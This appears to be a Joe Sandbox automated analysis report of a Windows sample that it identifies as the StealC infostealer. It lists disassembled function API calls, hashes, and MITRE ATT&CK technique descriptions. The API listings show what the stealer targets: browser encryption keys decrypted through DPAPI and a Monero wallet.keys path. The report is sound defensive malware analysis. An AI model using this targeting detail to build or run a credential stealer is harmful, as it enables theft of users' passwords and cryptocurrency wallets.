Part of subcall function 00349AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00344EEE,00000000,?), ref: 00349B01
Part of subcall function 00349AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N4,00000000,00000000), ref: 00349B2A
Part of subcall function 00349AC0: LocalFree.KERNEL32(?,?,?,?,00344EEE,00000000,?), ref: 00349B3F

Part of subcall function 00349B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00349B84
Part of subcall function 00349B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00349BA3
Part of subcall function 00349B60: LocalFree.KERNEL32(?), ref: 00349BD3

Strings

DPAPI, xrefs: 00349D89
, xrefs: 00349DC1
"encrypted_key":", xrefs: 00349D30

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 9ed09f87fcfd9f66e0e5a20db72d38ee64eb38e9b39a88f2f1c87317c964ddfd
Instruction ID: fc3686ce84564ed2aca6401f9405b400ac27e650a8627c8c39fcb1a0195820a1
Opcode Fuzzy Hash: 9ed09f87fcfd9f66e0e5a20db72d38ee64eb38e9b39a88f2f1c87317c964ddfd
Instruction Fuzzy Hash: 33311CB6D10209ABDF15DFE4DC85FEFB7B8AB48304F144519E905AB245EB30AA04CBA1

Function 00358680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,003605B7), ref: 003586CA
Process32First.KERNEL32(?,00000128), ref: 003586DE
Process32Next.KERNEL32(?,00000128), ref: 003586F3

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

CloseHandle.KERNEL32(?), ref: 00358761

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: f01b5ae888f96a7cb8ed87db614c7125e9c0a1596f2751e33e2749175d2e165e
Instruction ID: 884bc5e85d8e1a08c01e7d8ef75084f831d6e7381baa8d3dce71939502e4f497
Opcode Fuzzy Hash: f01b5ae888f96a7cb8ed87db614c7125e9c0a1596f2751e33e2749175d2e165e
Instruction Fuzzy Hash: D0316D71901618ABDB26DF50DC41FEEB778FF49701F104299E90AB61A0EB306A49DFA1

Function 00357980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00360E00,00000000,?), ref: 003579B0
RtlAllocateHeap.NTDLL(00000000), ref: 003579B7
GetLocalTime.KERNEL32(?,?,?,?,?,00360E00,00000000,?), ref: 003579C4
wsprintfA.USER32 ref: 003579F3

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: beebc83397a4202524c6a97196cf17de95ba8b6c79afd5c981577f8ee1e02d66
Instruction ID: 3df4b24ac7bbc0598e9bcf968ddbcc3ecd79ec0b5dc047dc183055b798ac7785
Opcode Fuzzy Hash: beebc83397a4202524c6a97196cf17de95ba8b6c79afd5c981577f8ee1e02d66
Instruction Fuzzy Hash: A11118B2904118AADB149FCADD45BBEB7F8EB48B11F10411AFA05A2290E2395944DBB1

Function 0035C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0035C74E

Part of subcall function 0035BF9F: __amsg_exit.LIBCMT ref: 0035BFAF

__getptd.LIBCMT ref: 0035C765
__amsg_exit.LIBCMT ref: 0035C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0035C797

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: e28b9827b308a1030df9ffd964f1012d673ab049ff04d6e3b2c9c83f327b4377
Instruction ID: fe44353c6f4c49be72c6f3e362feee5a37b723ee2b247108d91eaccfb143dfa3
Opcode Fuzzy Hash: e28b9827b308a1030df9ffd964f1012d673ab049ff04d6e3b2c9c83f327b4377
Instruction Fuzzy Hash: 4BF09032910B109FD723BBB89C06F49B3A06F0472BF255149FC14AE5F2CB6459889E96

Function 00354F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00358DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00358E0B

lstrcat.KERNEL32(?,00000000), ref: 00354F7A
lstrcat.KERNEL32(?,00361070), ref: 00354F97
lstrcat.KERNEL32(?,00FB9788), ref: 00354FAB
lstrcat.KERNEL32(?,00361074), ref: 00354FBD

Part of subcall function 00354910: wsprintfA.USER32 ref: 0035492C
Part of subcall function 00354910: FindFirstFileA.KERNEL32(?,?), ref: 00354943

Part of subcall function 00354910: StrCmpCA.SHLWAPI(?,00360FDC), ref: 00354971
Part of subcall function 00354910: StrCmpCA.SHLWAPI(?,00360FE0), ref: 00354987
Part of subcall function 00354910: FindNextFileA.KERNEL32(000000FF,?), ref: 00354B7D
Part of subcall function 00354910: FindClose.KERNEL32(000000FF), ref: 00354B92

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 96a3196a79951ab889d2cb8bbeafa04cb7972da6c5a4b64911d10c939dd2942f
Instruction ID: 5491a15656770b4064f3ee6a58cc519c49a4abe77bcf677c13552b5533449186
Opcode Fuzzy Hash: 96a3196a79951ab889d2cb8bbeafa04cb7972da6c5a4b64911d10c939dd2942f
Instruction Fuzzy Hash: 5121DD7690020467DB55FBB0DC46EED337CAB54300F004545BA49AA195EE7496CD9FA2

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00359860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 003445C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00344880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00359C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00346280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00355510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 003517A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00357500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 003569F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00341220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00356AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 003447B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 003551F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON